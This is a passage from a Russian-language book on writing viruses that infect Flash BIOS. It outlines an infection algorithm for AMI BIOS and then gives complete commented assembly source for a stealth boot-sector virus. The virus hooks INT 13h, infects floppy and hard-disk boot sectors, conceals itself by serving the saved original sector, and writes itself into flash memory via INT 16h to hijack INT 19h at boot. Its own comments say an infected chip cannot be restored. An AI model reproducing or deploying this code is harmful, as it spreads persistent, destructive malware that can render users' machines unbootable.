Flash BIOS
Flash BIOS
Новое место для вирусов
Flash-память – энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS – Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована – это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90 % портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру – это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения вируса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она находится в режиме «ReadOnly»);
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим «ReadOnly» для памяти Flash BIOS.
Единственное предназначение INT 19h – быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при размещении в микросхемах Flash-памяти, которые базируются на использовании функции E0h прерывания INT 16h. Самое интересное состоит в том, что однажды внесенный в эту память вирус может запретить повторно использовать указанную функцию. Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Исходя из этого, авторам антивирусных программ придется трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
;серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с ”чистой”
;дискеты. Зараженный чип в рабочее состояние не вернуть.
org 0
;При входе в boot?сектор DL=загрузочный диск
mov si,7C00h
;Установим 0000h в регистрах DS и ES
xor ax,ax
mov es,ax
mov ds,ax
;Установим значение стека 0000h:7C00h
cli
mov ss,ax
mov sp,si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в AX)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shl ax,cl
;Установим новый сегмент вируса (вершина памяти)
mov es,ax
;Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
cld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
;загрузился до загрузки DOS, то прерывание INT 21h еще не
;работает – работаем с вектором прерывания прямо в таблице
mov ax,word ptr [13h*4]
mov word ptr es:[offset i13],ax
mov ax,word ptr [13h*4+2]
mov word ptr es:[offset i13+2],ax
;Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
;Переходим в точку ES:Restart (в копии вируса,
;находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;С этого места программа работает уже в вершине памяти
Restart:
;Загружаем оригинальный boot?сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
;функцию 00h прерывания INT 13h)
xor ax,ax
call int13h
;Подготовим регистры для загрузки оригинального boot?сектора
xor ax,ax
mov es,ax ;Сегмент для загрузки
mov bx,7C00h ;Смещение для загрузки
mov cx,0002h ;Дорожка 0, сектор 2
xor dh,dh ;Головка 0
mov ax,0201h ;Функция 2, количество секторов 1
;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,
;иначе – дискета. Копия оригинального boot?сектора хранится
;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;
;на дискете – дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov cl,14 ;Сектор 14
mov dh,1 ;Головка 1
;Загрузим оригинальный boot?сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
;Сохраним в стеке номер диска, с которого грузимся
push dx
;Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;Заразим Flash BIOS
call flash_BIOS
;Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;Запускаем оригинальный boot?сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Сюда попадаем, когда происходит чтение boot?сектора. Скрываем
;присутствие вируса методом чтения оригинального boot?сектора
Stealth:
;Установим значения сектора, где хранится копия оригинального
;boot?сектора
mov cx,02h
mov ax,0201h
;Проверим, откуда считан boot?сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
;Прочтем копию оригинального boot?сектора. Так как
;номера секторов подменены, фактически ”копия выдается
;за оригинал” – скрываем свое присутствие (Stealth).
call int13h
;Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса – ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BAABh
res_test:
xchg ah,al
iret
;Обработчик прерывания INT 13h
Handler:
;Если при вызове в AX находится ABBAh,
;значит это проверка наличия резидентного вируса
cmp ax,0ABBAh
je res_test
;Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
;Проверяем номера дорожки и сектора, интересуясь только теми
;секторами, в которых может оказаться вирус –
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
;Проверим номер головки. Если не 0, то запустим
;оригинальный обработчик
cmp dh,0
jne jend
try_infect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
;Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
;Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot?сектор (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
;Установим номера дорожки, головки и сектора для жесткого
;диска для сохранения оригинального boot?сектора
mov cx,2
xor dh,dh
jmp write_virus
Infect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot?сектора
mov cx,14
mov dh,1
Write_Virus:
;Записываем оригинальный boot?сектор
mov ax,0301h
call int13h
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;Запишем тело вируса в boot?сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh,dh
call int13h
;Восстановим регистры и флаги (как раз те их значения, которые
;свидетельствует о том, что boot?сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
;Выходим из обработчика в вызывающую программу
retf 2
;Запуск оригинального обработчика
jend:
DD 0EAh ;Код команды JMP FAR
;Оригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Marker db ”VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
;Проверим наличие Flash BIOS
mov ax,0E000h
int 16h
jc no_flash_bios
cmp al,0FAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
;Просканируем память F000h?FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
Infect_Flash:
;Установим начальный сегмент для поиска
mov ax,0F000h
mov ds,ax
;Проверим сегмент
New_segment:
;Установим стартовое смещение
xor si,si
;Установим счетчик найденных байт
;(величина свободного места для вируса)
xor dx,dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
;Проверим, есть ли еще место для вируса
cmp ax,0FFF0h
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
inc dx
;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,
но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512
слов)
cmp dx,512
je found_storage
;Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;В эту точку попадаем, если место найдено
Found_storage:
;Перейдем к началу зоны
sub ax,40h
mov ds,ax
;Получим требования к сохранению состояния чипа
mov ax,0E001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
;Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
;записывать некуда – выходим
No_Flash_BIOS:
ret
;Сохраним состояние чипа
save_chipset:
;Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
;Сохраним состояние
mov al,2
push cs
pop es
mov di,offset buffer
int 16h
;Записываемся во Flash BIOS
write_enable:
;Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
;Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di,di
mov cx,512
push cs
pop ds
xor si,si
cld
rep movsb
;Здесь нужна особая осторожность. Int19h указывает на BIOS,
;позднее оно перехватывается различными программами.
;Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно – ”внедриться” в int19h.
;Можно перехватить его в том месте, где находится
;сохраненная таблица векторов, но сделаем интереснее.
;Получим смещение оригинального обработчика int19h
mov bx,es ;BX=сегмент вируса
xor ax,ax
mov ds,ax ;DS=Таблица векторов
mov di,word ptr [19h*4] ;Смещение INT 19h
mov es,word ptr [19h*4+2] ;Сегмент INT 19h
;Запишем JMP FAR по адресу точки входа в INT 19h
mov al,0EAh
stosb
mov ax,offset int19handler
stosw
mov ax,bx
stosw
;Понизим напряжение
mov ax,0E004h
int 16h
;Защитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
;Восстановим состояние чипа
push cs
pop es
mov al,3
mov di,offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
Int19Handler Proc Near
;Установим сегментный регистр ES в ноль
xor ax,ax
mov es,ax
;Проверим наличие резидентного вируса
mov ax,0ABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
;обработчик прерывания INT 19h
cmp ax,0BAABh
jne real_int19h
;Перенесем вирус из BIOS в boot?буфер
push cs
pop ds
cld
xor si,si
mov di,7c00h
mov cx,512
rep movsb
;Запустим вирус в boot?буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Проинициализируем значения регистров для загрузки boot?сектора
mov cx,1
mov dh,0
mov ax,0201h
mov bx,7C00h
;Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
ja hd_int19h
;Прочтем boot?сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
;Установим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done],1
;Запустим boot?сектор, находящийся в boot?буфере
db 0EAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
;Установим номер диска для загрузки (диск C)
mov dl,80h
HD_Int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Прочтем boot?сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot?сектор,
;вызываем прерывание INT 18h
Boot:
int 18h
Int19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510–offset End_Virus
;Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:Данный текст является ознакомительным фрагментом.